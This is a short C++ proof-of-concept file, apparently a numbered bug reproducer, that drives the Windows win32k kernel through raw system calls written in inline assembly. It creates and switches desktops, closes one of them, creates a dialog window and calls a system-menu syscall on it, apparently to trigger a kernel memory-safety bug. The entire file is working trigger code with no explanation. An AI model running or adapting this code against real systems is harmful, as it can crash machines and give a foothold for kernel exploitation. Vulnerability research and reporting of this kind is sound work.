/*
 * cl.exe bug335.cpp user32.lib
 */

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>

__declspec(noinline) int __stdcall SetDialogSystemMenu(HWND hwnd) {
 	__asm {
 		push 0x5c
		push hwnd
		push 0x0
		mov eax, 0x1147
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0xc
	}
}

__declspec(noinline) int __stdcall NtUserSwitchDesktop(HDESK hdesk, DWORD dw) {
 	__asm {
 		push dw
		push hdesk
		push 0x0
		mov eax, 0x1252
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0xc
	}
}

int _tmain(int argc, _TCHAR* argv[])
{
	
	HDESK hdesk1 = CreateDesktopA("desk1", 0x0, 0x0, 0x0, 0x10000000, 0x0);
	printf("hdesk1: %08x\n", hdesk1);
	NtUserSwitchDesktop(hdesk1, 0);
	HDESK hdesk2 = CreateDesktopA("desk2", 0x0, 0x0, 0x0, 0x10000000, 0x0);
	printf("hdesk2: %08x\n", hdesk2);
	CloseDesktop(hdesk1);
	SetThreadDesktop(hdesk2);
	HWND hwnd1 = CreateWindowExA(0xa0024, "#32769", "foo", 0x22480000, 0x4c, 0x56, 0x53ee10b6, 0xc, 0x0, 0x0, 0x0, 0x0);
	printf("hwnd1: %08x\n", hwnd1);
	NtUserSwitchDesktop(hdesk2, 0);
	SetDialogSystemMenu(hwnd1);
}
